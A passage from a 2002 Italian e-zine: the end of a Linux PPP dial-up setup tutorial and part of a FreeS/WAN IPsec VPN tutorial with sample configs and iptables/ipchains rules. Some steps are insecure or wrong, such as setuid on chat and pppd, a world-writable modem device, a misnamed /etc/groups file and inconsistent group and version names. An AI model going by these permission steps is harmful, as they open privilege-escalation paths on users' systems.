| ----[ 2.2 - Files di configurazione |
| |
| I files da configurare si trovano nella directory '/etc/ppp' quindi, nel |
| caso non esista, createla ed accedetevi come segue: |
| |
| bash# mkdir /etc/ppp |
| bash# cd /etc/ppp |
| |
| Ora, iniziate a creare i vari files come mi appresto a descrivere. |
| |
| Il primo file da creare e' il file delle opzioni contenente le |
| specifiche che il demone ppp prendera' in considerazione ogni volta che |
| ci connettiamo. |
| Editate quindi il file 'options' con l'editor di testo che preferite; |
| io per comodita' uso pico, quindi: |
| |
| bash# pico /etc/ppp/options |
| |
| Inseriteci dentro, uno per riga, i comandi che seguono: |
| |
| lock |
| defaultroute |
| noipdefault |
| modem |
| /dev/modem |
| 57600 |
| crtscts |
| name "user" |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| Spiegazione delle linee del file: |
| |
| defaultroute - imposta il routing dei pacchetti come richiesto dal |
| provider |
| noipdefault - quando l'ip non e' fisso, ovvero nel caso di |
| connessioni dial-up che l'ip e' dinamico, ovvero |
| cambia ad ogni connessione |
| /dev/modem - e' il device che usiamo per connetterci |
| 57600 - e' la velocita' di connessione - 57600 = 56.6kb/sec |
| crtscts - e' il protocollo per la connessione a 56k usato di |
| default dei providers |
| name "user" - al posto di 'user' dovete inserire il vostro user-id di |
| connessione |
| |
| Vi chiederete: "E la password di connessione dove la devo mettere?" |
| Niente paura, la password per ragioni di sicurezza e di professionalita' |
| va inserita in un file a parte che e' quello che analizzero' adesso. |
| Sempre nella directory /etc/ppp editate il file 'pap-secrets' come |
| segue: |
| |
| bash# pico /etc/ppp/pap-secrets |
| |
| Inseriteci dentro la seguente linea: |
| |
| "user" * "password" |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| L'user non e' altro che l'user-id di connessione che avete inserito |
| anche nel file /etc/ppp/options e la password e' la password di |
| connessione. Questi dati vi sono stati forniti nel momento della |
| registrazione dal provider col quale avete scelto di effettuare la |
| registrazione per la connessione quindi sta a voi esserne a conoscenza. |
| |
| NB: L'acronimo 'pap' sta per Password Authentication Protocol che e' |
| il protocollo utilizzato nella comunicazione, tra il vostro modem e il |
| provider per l'autenticazione dell'utente. |
| |
| Il terzo file da editare, denominato 'chat', e' quello che dice al pppd |
| come deve comportarsi col modem. Editate quindi il file 'ppp-on' come |
| segue: |
| |
| bash# pico /etc/ppp/ppp-on |
| |
| Inseriteci dentro, uno per riga, i comandi che seguono: |
| |
| TIMEOUT 60 |
| ABORT ERROR |
| ABORT BUSY |
| ABORT "NO CARRIER" |
| ABORT "NO DIALTONE" |
| "" "ATZ" |
| OK "ATDTnumero_provider" |
| CONNECT "" |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| Spiegazione delle linee del file: |
| |
| TIMEOUT 60 - si disconnette in caso di mancata risposta |
| dal modem dopo 60 secondi |
| ABORT ERROR - si disconnette in caso di segnale di errore |
| da parte del provider |
| ABORT BUSY - si disconnette in caso di segnale di busy |
| da parte del provider |
| ABORT "NO CARRIER" - si disconnette in caso di segnale di NC dal |
| provider |
| ABORT "NO DIALTONE" - si disconnette in caso di segnale di ND dal |
| provider |
| "" "ATZ" - ATZ e' il primo comando che viene inviato |
| al modem |
| OK "ATDTnumero_provider" - numero di telefono del provider al quale |
| connettersi |
| CONNECT "" - eventuali comandi da inviare al modem dopo |
| la connessione |
| |
| NB: nella linea di comando 'OK "ATDTnumero_provider"' tra gli acronimi |
| AT e DT vanno inseriti gli eventuali comandi che volete inviare al modem |
| prima della digitazione del numero di telefono del provider. |
| Una buona opzione puo' essere 'L0' nel caso vogliate ridurre al minimo |
| il volume del modem durante la connessione; in questo caso la linea |
| sara': |
| |
| OK "ATL0DTnumero_provider" |
| |
| L'ultimo file da editare in questa directory e' quello che si esegue |
| quando si decide di disconnettersi. Per comodita' chiamatelo 'ppp-off' |
| come segue: |
| |
| bash# pico /etc/ppp/ppp-off |
| |
| Inseriteci dentro le seguenti linee: |
| |
| #!/bin/sh |
| kill -INT `cat /var/run/ppp0.pid` |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| I file da editare in questa directory sono essenzialmente questi |
| quattro. Ce ne possono essere altri quali 'ip-up', con la lista dei |
| comandi da eseguire subito dopo essersi connessi e 'ip-down', con la |
| lista di comandi da eseguire dopo essersi disconnessi. |
| |
| Il lavoro nella directory '/etc/ppp' e' ultimato. Adesso c'e' un altro |
| file da editare ovvero quello che serve per impostare i server DNS |
| -Domain Name Server- del provider. |
| Il file in questione e' /etc/resolv.conf. Editatelo come segue: |
| |
| bash# pico /etc/resolv.conf |
| |
| Inseriteci dentro la seguente linea di comando: |
| |
| search nome_provider |
| nameserver dns_primario_provider |
| nameserver dns_secondario_provider |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| Spiegazione delle linee del file: |
| |
| search nome_provider - corrisponde al nome del vostro |
| provider |
| nameserver dns_primario_provider - corrisponde al dns primario del |
| vostro provider |
| nameserver dns_secondario_provider - corrisponde al dns secondario del |
| vostro provider |
| |
| NB: Il nome del provider puo' essere libero.it nel caso abbiate fatto |
| l'abbonamento con Libero-Infostrada; tin.it nel caso abbiate fatto |
| l'abbonamento con Telecom e cosi' via, quindi sta a voi conoscere questo |
| dato anche se non e' indispensabile per il funzionamento. |
| Il dns del provider lo risolvete con un 'ping nome_provider' o con un |
| 'dns nome_provider', sempre da console. |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| ----[ 2.3 - Permessi dei files di configurazione |
| |
| Un punto molto importante riguarda i permessi dei files di |
| configurazione. Primo permesso da settare e' quello del file che |
| contiene la password di connessione, fatelo come segue: |
| |
| bash# chmod 600 /etc/ppp/pap-secrets |
| |
| Bene, lo avete settato leggibile e scrivibile esclusivamente |
| all'amministratore di sistema (root, ovvero voi nel caso). |
| |
| Ora, rendete leggibili ed eseguibili i file ppp-on, ppp-off e options |
| come segue: |
| |
| bash# chmod 755 /etc/ppp/ppp-on |
| bash# chmod 755 /etc/ppp/ppp-off |
| bash# chmod 755 /etc/ppp/options |
| |
| Arrivati a questo punto possiamo dire di essere a meta' dell'opera, ma |
| non e' abbastanza per chi vuole connettersi da shell. |
| |
| ----[ 2.4 - L'utente normale e la connessione |
| |
| E' ora di introdurre l'argomento sicurezza. |
| Cosa intendo per sicurezza? |
| La risposta e' riassumibile (?!?!) cosi': |
| Io ormai non mi loggo piu' da root, mi loggo da utente (user) e riesco a |
| fare tutte le normali operazioni che farei da root (ovviamente dopo aver |
| settato i file di configurazione necessari da root) quindi dovete tenere |
| presente che e' molto importante pensare alla sicurezza ed essendo root, |
| inopportunamente, si possono commettere errori e incasinare la vostra |
| Linux box. |
| Per ovviare a questo problema, basta semplicemente rendere possibile la |
| connessione anche all'user; cio' rendera' il sistema piu' sicuro da noi |
| e noi da lui. |
| |
| La prima cosa da fare e' creare un gruppo di utenti che possano accedere |
| al demone ppp senza, necessariamente, esserne owner (l'owner, |
| possessore, rimane quindi root). |
| Editate il file 'groups' come segue: |
| |
| bash# pico /etc/groups |
| |
| Assicuratevi che non ci sia una riga simile alla seguente quindi |
| aggiungetela voi alla fine del file: |
| |
| pppusers:x:230:user_che_potra_effettuare_la_connessione |
| |
| Logicamente il campo 'user_che_potra_effettuare_la_connessione' e' da |
| cambiare con il nome dell'utente che volete sia abilitato a connettersi. |
| Nel mio caso, mightyinquisitor. |
| Se non avete ancora provveduto a creare un utente fatelo subito (con il |
| comando 'adduser' oppure 'useradd'), come dicevo prima, usare la box |
| sempre da root puo' essere pericoloso. |
| Adesso ci sono ancora alcune cosette da sistemare perche' anche l'utente |
| possa connettersi. |
| Il comando da dare adesso e' quello che cambia il gruppo di appartenenza |
| al device del modem (/dev/ttyS0 se il modem e' sulla porta COM1, come |
| spiegato al punto 2.1). |
| Fate come segue: |
| |
| bash# chown root.pppuser /dev/ttyS0 |
| |
| La stessa operazione va eseguita sui files di configurazione che si |
| trovano in '/etc/ppp' cosi': |
| |
| bash# chown root.pppusers /etc/ppp/ppp-on |
| bash# chown root.pppusers /etc/ppp/ppp-off |
| |
| Ora e' necessario creare due link simboli. Uno al file '/etc/ppp/ppp-on' |
| e uno al file '/etc/ppp/ppp-off' come segue: |
| |
| bash# ln -s /etc/ppp/ppp-on /usr/bin/ppp-on |
| bash# ln -s /etc/ppp/ppp-off /usr/bin/ppp-off |
| |
| E adesso bisogna modificare il gruppo di appartenenza dei links appena |
| creati come segue: |
| |
| bash# chown root.pppusers /usr/bin/ppp-on |
| bash# chown root.pppusers /usr/bin/ppp-off |
| |
| Ora dovete cambiare i permessi al device del modem, fate come segue: |
| |
| bash# chmod 766 /dev/ttyS0 |
| bash# chmod 766 /dev/modem |
| |
| In modo da renderlo leggibile e scrivibile, oltre che dal root, dagli |
| utenti che fanno parte del gruppo pppusers (quelli che avete aggiunto |
| prima con la linea |
| 'pppusers:x:230:user_che_potra_effettuare_la_connessione'). |
| |
| Adesso dovete settare i permessi ad altri due file ovvero |
| '/usr/sbin/pppd' e '/usr/sbin/chat'. Il primo gestisce il demone ppp, il |
| secondo si occupa della gestione degli script per la connessione, ma non |
| solo. Eseguiamo quindi i seguenti comandi: |
| |
| bash# chmod a+s /usr/sbin/pppd |
| bash# chmod a+s /usr/sbin/chat |
| |
| Vi mancano i link di questi due file essenziali. Fateli cosi': |
| |
| bash# ln -s /usr/sbin/pppd /usr/bin |
| bash# ln -s /usr/sbin/chat /usr/bin |
| |
| Adesso l'ultima cosa da fare per poter connettersi e' fare in modo tale |
| che il demone ppp capisca a quali file deve riferirsi per la |
| connessione. Cio' lo si fa come segue: |
| |
| bash# /usr/bin/pppd connect "/usr/bin/chat -v -f /etc/ppp/ppp-on" |
| |
| Con questo comando il pppd sa gia' di suo che deve prendere in esame il |
| file '/etc/ppp/options' e il file '/etc/ppp/pap-secrets' quindi e' |
| necessario solamente indicargli lo script di comunicazione |
| '/etc/ppp/ppp-on' come e' stato fatto. |
| Se avete seguito alla lettera questo tutorial, con questa ultima linea |
| di comando digitata, sarete in grado di connettervi. |
| |
| ----[ 2.5 - Suggerimento |
| |
| Spostatevi su un'altra shell con la combinazione di tasti 'Alt+Fn' |
| (dove 'Fn' sta per F2, F3, F4, F5 o F6) e loggatevi da user. |
| |
| Per comodita' vi consiglio vivamente di creare nella vostra home |
| directory (di norma /home/vostro_user)il file '.bash_profile' e di |
| aggiungerci dentro due alias che richiamano in automatico il comando per |
| connettersi e quello per disconnettersi, in maniera tale da non dover |
| digitare a mano ogni volta la linea sovra citata per connettervi. |
| Editatelo quindi come segue: |
| |
| bash# pico .bash_profile |
| |
| Inseriteci dentro quanto segue: |
| |
| alias conn='/usr/bin/pppd connect "/usr/bin/chat -v -f /etc/ppp/ppp-on"' |
| alias disc='/etc/ppp/ppp-off' |
| |
| Ora chiudete l'editor e salvate il file. |
| |
| Riloggatevi per rendere effettive le modifiche al file .bash_profile, |
| con il comando 'exit'. |
| |
| Da ora in poi ogni volta che vi loggate come user (quello che ha nella |
| propria home directory il file .bash_profile editato come detto sopra), |
| bastera' che scriviate 'conn' per connettervi e 'disc' per |
| disconnettervi. |
| |
| |
| --[ 3 - Allegato |
| |
| Nel file allegato 'iswt1.tar.gz' trovate i files di configurazione, il |
| .bash_profile e il resolv.conf che ho spiegato nell'arco di questo |
| tutorial. Per decomprimerlo e' sufficiente fare come segue: |
| |
| bash# tar xvzf iswt1.tar.gz |
| |
| Ora date un'occhiata ai files decompressi che si sono creati nella |
| directory iswt1/. |
| |
| |
| MightyInquisitor |
| <mightyinquisitor@ondaquadra.cjb.net> |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #05 - 14/01/2002 |
| VPN - ViRTUAL PRiVATE NETWORK [goony] 0x0D/0x23 |
+--------------------------------------------------------------------------+
| |
| --------------------------------------------- |
| L'autori non e' responsabili dei danni |
| futuri causati a cose e/o persone utilizzando |
| questo documento... :) |
| --------------------------------------------- |
| |
| Obiettivo: |
| ---------- |
| Capire cos'e' una vpn e realizzare un collegamento criptato tra 2 reti |
| locali. |
| |
| |
| Cassetta degli attrezzi: |
| ------------------------ |
| Noi abbiamo utilizzato questi elementi per raggiungere l'obiettivo. |
| Voi non siete necessariamente legati ad utilizzare questi... |
| |
| - 2 macchine Linux: RedHat 7.1 (www.redhat.com) |
| Trustix Secure Linux 1.5 (www.trustix.net) |
| queste avranno la funzione di gateway, firewall... |
| - kernel linux 2.4.7 (www.kernel.org) |
| quelli di FreeS/WAN consigliano almeno il 2.2.19; |
| - FreeS/WAN 1.91 rilasciata il 2001/06/19 (www.freeswan.org) |
| implementazione opensource del protocollo IPSEC per realizzare |
| vpn con linux. non e' l'unica soluzione (pptp?!) ma a noi |
| ci sembra molto valido ed affidabile; |
| - tcpdump (www.tcpdump.org) bhe lo conoscete... |
| - basi di linux & networking... nel caso leggetevi i riferimenti |
| che trovate alla fine del documento... |
| - fortuna, pazienza! sempre! :) |
| |
| Note: connessioni realizzate tramite vpn risultano naturalmente piu' |
| lenti causa crittazione/decrittazione dei dati in trasito. Sta a voi |
| fornirvi di una buona larghezza di banda.. (adsl?!) |
| |
| Iniziamo con un po' di teoria: |
| ----------------------------- |
| Per prima cosa il termine inglese VPN sta per "Virtual Private Network", |
| ovvero una rete privata virtuale. |
| Una vpn permette di implementare una rete privata utilizzando una rete |
| pubblica, tipicamente internet. |
| Le connessioni tra le varie macchine sono connessioni inesistenti |
| fisicamente, ma sono formate da pacchetti appositamente costruiti che |
| viaggiano su internet. Si parla appunto di "VIRTUAL Private Network". |
| Queste connessioni sono sicure e possono essere realizzate tra: |
| |
| - host to host; (computer di casa e computer in ufficio) |
| - host to lan; (portatile e rete aziendale) |
| - lan to lan; (reti aziendali di due o piu' sedi separate) |
| |
| Qui sotto un semplice schema per chiarire le idee: (lan to lan) |
| |
| --------------- --------------- |
| | rete A | | rete B | |
| | | <---> ( internet ) <---> | | |
| | 192.168.1.0 | | 192.168.2.0 | |
| --------------- --------------- |
| Reggio Emilia Toronto |
| |
| Una volta che le due reti sono state collegate tra di loro tramite vpn, |
| l'utente appartenente alla rete A potra' ad esempio pingare un host della|
| rete B, passando da internet! Non solo pingare, ma anche lavorare in |
| remoto, condividere files e stampanti (samba) e tutto quello che vi |
| passa per la testa, abbiate fantasia. |
| Tramite vpn gli utenti avranno l'impressione di lavorare in una sola |
| grande rete. |
| Possiamo comunque realizzare un collegamento tramite protocollo IPSEC |
| (vedi sotto) anche solo tra due singoli hosts, ad esempio per lo scambio |
| di dati importanti quali logs ecc. |
| Un collegamento in vpn ci permette quindi di ovviare ai problemi di |
| sicurezza di protocolli deboli come il TCP, ad esempio per quanto |
| riguarda "fenomeni" di sniffing, spoofing e simili. |
| |
| |
| La sicurezza... |
| --------------- |
| Per realizzare collegamenti sicuri tramite reti insicure (internet), le |
| vpn possono essere implementate tramite soluzioni software (FreeS/WAN), |
| hardware (CISCO) o entrambe. Si andra' quindi a toccare elementi quali |
| firewall, crittografia, autenticazione e packet tunneling. |
| |
| Note: packet tunneling = permette di incapsulare un pacchetto dentro un |
| altro pacchetto per adattare protocolli |
| incompatibili. Il pacchetto interno puo' essere |
| dello stesso protocollo di quello esterno |
| oppure di protocolli diversi. Con il tunneling |
| si puo' ad esempio incapsulare un pacchetto ip |
| dentro un altro pacchetto ip. I protocolli piu' |
| diffusi per realizzare tunneling sono IpSEC |
| (vedi sotto), PPTP (implementato da Microsoft), |
| Layer 2 FW. |
| |
| Tutti i dati che viaggiano su internet tra le due (o piu' reti) sono |
| quindi criptati con svariati algoritmi per impedirne l'intercettazione e |
| verificarne l'autentici

  
ta'. |
| Parliamo allora delle 3 caratteristiche fondamentali di una vpn: |
| privatezza, integrita' e autenticazione. |
| |
| 1- privatezza: permette che un pacchetto sia ricevuto e leggibile solo |
| e soltanto al destinatario di esso, rendendo inefficace l'utilizzo di |
| sniffer da parte di utenti smanettoni; |
| |
| 2- integrita': permette che i dati arrivino a destinazione integri e |
| quindi inalterati durante il tragitto; |
| |
| 3- autenticazione: permette di verificare con efficienza l'identita' |
| del mittente, evitando ad esempio fenomeni di spoofing; |
| |
| Per ottenere questi risultati le vpn utilizzano protocolli di rete |
| particolari, tra i quali uno dei piu' rinomati e' sicuramente IPSEC. |
| |
| - IPSEC: "IP Security". E' un set di estensioni al protocollo IP che |
| permettono la criptazione di dati e i particolare i 3 elementi |
| sopra descritti. |
| IPSEC offre un servizio simili all'SSL ma lavorando al livello |
| network, per essere cos'i' totalmente trasparente alle diverse |
| applicazioni. |
| IPSEC si compone principalmente di tre protocolli principali: |
| |
| + AH (rfc2402): "Authentication Header". Permette l'autenticazione |
| di un pacchetto crittografando con un algoritmo forte l'header IP |
| del pacchetto stesso; |
| + ESP (rfc2406): "Encapsulating Security Payload". Permette la |
| privatezza e l'integrita' di un pacchetto cifrando il contenuto di |
| esso (payload = campo dati) con un algoritmo crittografico come |
| DES o 3DES, e firmando il risultato ottenuto con un hash come MD5 |
| o SHA1; |
| + IKE: "Internet Key Exchange". Permette la negoziazione tra i |
| parametri di connessione... |
| |
| |
| struttura pacchetto tcp semplificata |
| |
| ---------------------------------------------------- |
| | 20 byte header ip | 20 byte header tcp | payload | |
| ---------------------------------------------------- |
| |
| struttura pacchetto IPSEC semplificata |
| |
| ---------------------------------------------------- |
| | 20 byte header ip | header AH | payload ESP | |
| ---------------------------------------------------- |
| |
| Questa e' solo una piccola introduzione di concetti molto difficili e |
| lunghi da trattare. |
| Se volete saperne di piu' consiglio vivamente i link che trovate alla |
| fine di questo documento. Per la realizzazione dell'esperienza queste |
| poche righe sono piu' che sufficienti. |
| Piu' avanti comunque sono presenti delle note circa gli algoritmi hash, |
| chiavi pubbliche e chiavi private. |
| |
| |
| Installazione: |
| -------------- |
| Nella nostra esperienza cosa faremo? Partendo dal presupposto che |
| abbiamo gia' pronte e configurate due macchine linux collegate ad |
| internet (entrambi con collegamento perenne) che fungono da gateway per |
| due reti private (esempio la 192.168.1.0 e la 192.168.2.0) andremo a |
| collegarle tra di loro, creando un tunnel criptato tra le due macchine e |
| quindi un canale di comunicazione sicuro tra le due reti. Notare, |
| ovviamente, che le due reti devono avere indirizzi privati diversi. |
| |
| Iniziamo quindi a configurare il primo gateway, tenendo presente che la |
| stessa configurazione, con solo poche modifiche, sara' utilizzata anche |
| per la seconda macchina. Entrambe avranno un kernel 2.2.19 o superiore |
| con il supporto per il networking. Scarichiamo all'indirizzo |
| ftp://ftp.xs4all.nl/pub/crypto/freeswan/ il pacchetto |
| freeswan-1.91.tar.gz. Scegliamo una directory e s'inizia: |
| |
| note: per installare correttamente FreeS/WAN avremo bisogno di... |
| - compilatore C (gcc o egcs) |
| - make, path e le solite cosette... ;) |
| - glibc |
| - GMP (GNU Multi-P recision) library |
| - librerie ncurses se volete usare il menuconfig (raccomandato) |
| - sorgenti ecc... ecc... |
| |
| # cd /usr/src |
| # tar zxvf /usr/local/packages/freeswan-1.9.tar.gz |
| # cd /usr/src/freeswan-1.9 |
| # make ogo (invoca "config" per configurare il kernel da linea di |
| comando) |
| oppure |
| # make menugo (invoca "menuconfig" per configurare il kernel in |
| modalita' text-mode. n.b. installatevi le lib ncurses) |
| oppure |
| # make xgo (invoca "xconfig" per configurare il kernel con X window) |
| # make kinstall (installa il nuovo kernel e i moduli se necessari) |
| |
| |
| L'ultimo comando "kinstall" equivale a fare "make; make install; make |
| modules ; make modules_install"
con i sorgenti in /usr/src/linux. |
| A questo punto SE tutto e' andato bene avremo le librerie necessarie in |
| /usr/local, gli script necessari per avviare e disattivare i servizi |
| IPsec in /etc/rc.d e i due file di configurazione /etc/ipsec.conf e |
| /etc/ipsec.secrets. Facciamo un reboot della macchina, non prima di aver |
| sistemato il lilo... |
| |
| note: alcune distribuzioni linux permettono di installare FreeS/WAN |
| durante l'installazione del sistema: |
| |
| - European versions of SuSE Linux (Germany) www.suse.com |
| - Conectiva (Brazil) www.conectiva.com |
| - the server edition of Corel Linux (Canada) www.corel.com |
| - the Polish(ed) Linux Distribution (Poland) www.pld.org.pl |
| - Trustix Secure Linux (Norway) www.trustix.net (veramente carina!) |
| |
| Verifichiamo ora che l'installazione sia avvenuta con successo. |
| Durante il reboot (date un occhio con il dmesg...) controlliamo che: |
| |
| - la versione del kernel sia quella corretta e funzionante; |
| - appaia il messaggio di inizializzazione di KLIPS; |
| - Pluto sia stato avviato correttamente; |
| |
| Oltre a questo usiamo... |
| |
| # ipsec --version cosi' possiamo vedere che il path e' corretto |
| e la versione di IPsec; |
| # ipsec whack --status chiede a Pluto informazione sullo stato del |
| processo |
| |
| Naturalmente le informazioni di debug che riceveremo non saranno |
| ottimali, dobbiamo ancora configurare il tutto! |
| |
| |
| Configuriamo: |
| ------------- |
| Sono due i files di configurazione di IPsec: |
| |
| /etc/ipsec.conf per configurare il tutto con le informazioni relative |
| alla connessione... |
| /etc/ipsec.secretc contiene la chiave pubblica e privata utilizzate per |
| la criptazione dei dati... |
| |
| note: l'algoritmo di cifratura utilizzato e' l'RSA a 2.048 bit, il |
| quale prevede che ogni macchina presente nella vpn possieda una |
| chiave pubblica (nota a tutte le macchine della vpn) e una |
| chiave privata. |
| Queste chiavi sono generate durante l'installazione, ma potete |
| crearle voi stessi a mano per mezzo del comando IPSEC_RSASIGKEY |
| (http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/ |
| manpage.d/ipsec_rsasigkey.8.html), |
| ad esempio lanciando: |
| |
| # ipsec rsasigkey --verbose 2048 >mykey |
| |
| che generera' le chiavi e le scrivera' nel file "mykey". A quel punto |
| andate a recuperarle e mettetele nel vostro ipsec.secrets. (seguite le |
| istruzioni sul sito di FreeS/WAN) |
| |
| |
| ipsec.conf: |
| ----------- |
| # basic configuration |
| config setup |
| interfaces="ipsec0=eth0" |
| klipsdebug=none |
| plutodebug=none |
| plutoload=%search |
| plutostart=%search |
| |
| conn %default |
| keyingtries=0 |
| |
| conn reggioe-toronto |
| left=212.*.15.101 |
| leftsubnet=192.168.1.0/24 |
| leftnexthop=212.*.15.1 |
| right=213.*.20.66 |
| rightsubnet=192.168.2.0/24 |
| rightnexthop=213.*.20.65 |
| auto=start |
| authby=rsasig |
| leftid=@firewalle.reggio.net |
| rightid=@fw.toronto.it |
| leftrsasigkey=0x010373f12dd6e1d244895bfc237433bac1c0da... |
| rightrsasigkey=0x01037ff85e024bdbee96a64cfdfa3fb3e1f7a... |
| |
| |
| Da come si puo' notare il file e' diviso in tre sezioni: la prima e la |
| seconda definiscono i parametri di carattere generale. |
| Il piu' importante e' "interface" che definisce tramite quale |
| interfaccia di rete la macchina linux si collega al mondo esterno. |
| In generale tale parametro e' impostato verso l'interfaccia alla quale |
| e' impostato il defaultroute (default gateway) della macchina , "ppp0" |
| in caso di connessione con pppd, "ippp0" in caso di connessione con |
| isdn4linux ecc. |
| La sezione piu' importante e' invece la terza, che definisce le |
| caratteristiche delle due macchine. |
| La "prima" macchina viene identificata come "left", la seconda come |
| "right". |
| |
| Descriviamo nel dettaglio le singole direttive: |
| |
| - conn: assegna un nome alla connessione (tunnel) che vogliamo |
| realizzare; |
| - leftid: nome completo di dominio della prima macchina; |
| - leftrsasigkey: chiave pubblica della prima macchina (prelevabile dal |
| file /etc/ipsec.secrets nel quale e' caricata la |
| variabile pubkey); |
| - left: indirizzo Ip pubblico della prima macchina, ovvero quello |
| assegnato dal provider al momento della connessione e associato |
| all'interfaccia di rete che collega la macchina ad Internet |
| (per esempio, "ppp0"); |
| - leftnexthop: indirizzo Ip del default gateway assegnato dal provider |
| al momento della connessione, ovvero la prima macchina |
| visibile facendo un traceroute verso internet; |
| - auto: definisce il modo in cui la vpn deve essere attivata. |
| Se e' impostato su start l'avvio avviene tramite script |
| (/etc/rc.d/init.d ecc.); |
| |
| Per quanto riguarda la "seconda" macchina (right), le impostazioni sono |
| esattamente le stesse. |
| Fate direttamente un copia incolla tra le due macchine. |
| |
| |
| Prima di provare... e il firewall dove lo mettiamo?! |
| ---------------------------------------------------- |
| Se utilizzate dei firewall per proteggere le vostre reti (ovvio, senno' |
| implementare una vpn su una macchina non protetta e' inutile...), dovete |
| abilitare il passaggio di pacchetti di determinati protocolli (vi |
| ricordate di AH ed ESP?!) su una porta particolare. |
| Leggete qui sotto: |
| |
| - IKE uses the UDP protocol and port 500 |
| - ESP is protocol number 50 |
| - AH is protocol number 51 |
| |
| Nel nostro caso preoccupiamoci della porta 500 UDP e del protocollo 50. |
| A seconda del firewall che utilizzate (ipchains - iptables ecc.), |
| scrivete le rules necessarie. |
| |
| Esempi per chi usa iptables: |
| |
| # per abilitare il passaggio di pacchetti che utilizzano il protocollo |
| # ESP (50) |
| /usr/local/sbin/iptables -I INPUT -s ipsorgente -d ipdestinazione -p 50 |
| -j ACCEPT |
| # per abilitare il passaggio di pacchetti che utilizzano il protocollo |
| # UDP e porta 500 |
| /usr/local/sbin/iptables -A INPUT --proto udp --src ipsorgente --dport |
| 500 -j ACCEPT |
| |
| Per la sintassi e informazioni circa iptables date un occhio qui: |
| http://www.linuxguruz.org/iptables/ |
| |
| Esempi per chi usa ipchains: |
| |
| # per abilitare il passaggio di pacchetti che utilizzano il protocollo |
| # IKE (500 udp) |
| /sbin/ipchains -A input -p udp -s 0.0.0.0/0.0.0.0 -d ipdestinazione 500 |
| -j ACCEPT -l |
| # per abilitare il passaggio di pacchetti che utilizzano il protocollo |
| # IKE (500 udp) sull'interfaccia di rete "ipsec0" |
| /sbin/ipchains -A input -p udp -s 0.0.0.0/0.0.0.0 -d ipdestinazione 500 |
| -i ipsec0 -j ACCEPT -l |
| # per abilitare il passaggio di pacchetti che utilizzano il protocollo |
| # ESP (50) "-i" per specificare interfacce di rete (ipsec0...) |
| /sbin/ipchains -A input -p 50 -d ipdestinazione -j ACCEPT -l |
| |
| |
| Funzionera'? |
| ----------- |
| A questo punto vediamo se i nostri sforzi saranno premiati. Per prima |
| cosa diamo un occhio ai log. |
| Utilizziamo per questo il comando: #tail -f /var/log/messages. (magari |
| in fase di testing, associamo alle due variabili "klipsdebug" e |
| "plutodebug" in /etc/ipsec.conf il valore "all" cos'i' da poter |
| analizzare piu' logs...) Se poi siamo smanettoni diamo un occhio anche |
| qui: #cat /proc/net/ipsec_tncfg Ora per avviare il tutto utilizzeremo il |
| comando: |
| |
| # ipsec auto --up name |
| |
| su entrambi i gateway. Notare che "name" corrisponde al valore della |
| variabile "conn" in ipsec.conf. |
| Nel nostro caso "linux1-linux2". Per fermare il servizio utilizzeremo |
| invece il comando: |
| |
| # ipsec auto --down name |
| |
| Note: volendo possiamo anche scrivere/utilizzare script del tipo |
| "/etc/rc.d/init.d/ipsec start" ecc. |
| per rendere la cosa piu' veloce ed automatica. Possiamo aggiungere anche |
| una riga di comando in fondo al file "rc.local" per far si' che il |
| servizio IPSEC si attivi in automatico all'avvio del nostro gateway. |
| |
| Note2: in alcuni casi, avviando ipsec, potrebbero apparire alcuni |
| messaggi di errore. |
| Il piu' riscontrato interessa "rp_filter"... per ovviare la cosa |
| in automatico ad ogni riavvio, editate il vostro rc.local con |
| due righe del tipo: |
| |
| echo 0 > /proc/sys/net/ipv4/conf/ipsec0/rp_filter |
| echo 0 > /proc/sys/net/ipv4/conf/eth0/rp_filter |
| |
| Infine proviamo a vedere se l'obiettivo e' raggiunto. Ad esempio da una |
| macchina della rete 192.168.1.0 proviamo a pingare una macchina della |
| rete 192.168.2.0. |
| (Note: non provate a pingare un host dell'altra rete privata |
| direttamente dal gateway, FreeS/WAN non lo permette, e per spiegazione |
| controllate sul sito...) |
| Se il ping ha successo provate con ssh ecc, abbiate un po' di |
| fantasia... Provate con il "traceroute" da un host all'altro delle due |
| reti: se tutto e' corretto dovreste raggiungerlo con un solo solo hop. |
| In caso contrario controllate: |
| |
| - connessione ad internet dei gateway, attenzione al provider che usate. |
| Ad esempio se vi permette di usare protocolli ecc.; |
| - regole del firewall: |
| per chi usa ipchains: "ipchains -L" |
| per chi usa iptables: "iptables -L" |
| - configurazione dei due ipsec.conf: |
| http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/ |
| manpage.d/ipsec.conf.5.html; |
| - esattezza della chiavi; |
| - provate a pingare piu' host dell'altra rete; non direttamente dal |
| gateway ne tanto meno verso uno di essi... ma tra due host delle |
| sottoreti; |
| - le macchine in esame sono accese? collegate? hanno firewall? |
| - utilizzate "tcpdump" direttamente sui due gateway per vedere cosa |
| arriva...nel caso fate un bel "man tcpdump" o usate qualche prodotto |
| come "ethereal http://www.ethereal.com/" |
| # tcpdump ( per avviarlo) |
| oppure |
| # tcpdump -i ipsec0 (per avviarlo e con il "-i" controllare una |
| singola interfaccia di rete) |
| oppure |
| # tcpdump -p esp (per avviarlo e con il "-p" controllare un singolo |
| protocollo) |
| - controllate i vari logs!!!!! |
| i soliti /var/log/messages ecc. e utilizzate come riportato piu' in |
| basso il comando "ipsec barf"! |
| - spedire i logs alla mailing list di FreeS/WAN: |
| http://www.freeswan.org/mail.html |
| |
| ATTENZIONE: |
| ----------- |
| Se volete scrivere alla mailing list di FreeS/WAN per ottenere qualche |
| risposta costruttiva, vi consiglio di seguire i consigli riportati qui: |
| http://www.freeswan.org/freeswan_trees/freeswan-1.91/doc/prob.report In |
| particolare, dare un occhio al comando "ipsec barf" che generera' un |
| file con una valanga di informazioni di debug, utilissime per capire |
| cosa non sta funzionando a dovere. |
| Nel caso invece di veri e propri bug: |
| http://www.freeswan.org/freeswan_trees/freeswan-1.91/BUGS e scrivete a |
| bugs@lists.freeswan.org |
| |
| |
| 2 LAN: |
| ------ |
| Ci si puo' trovare anche nella situazione di dover connettere tramite |
| vpn piu' reti sullo stesso gateway. Ad esempio nel caso rappresentato |
| qui sotto, vogliamo collegare alla rete A sia la rete B sia la rete C. |
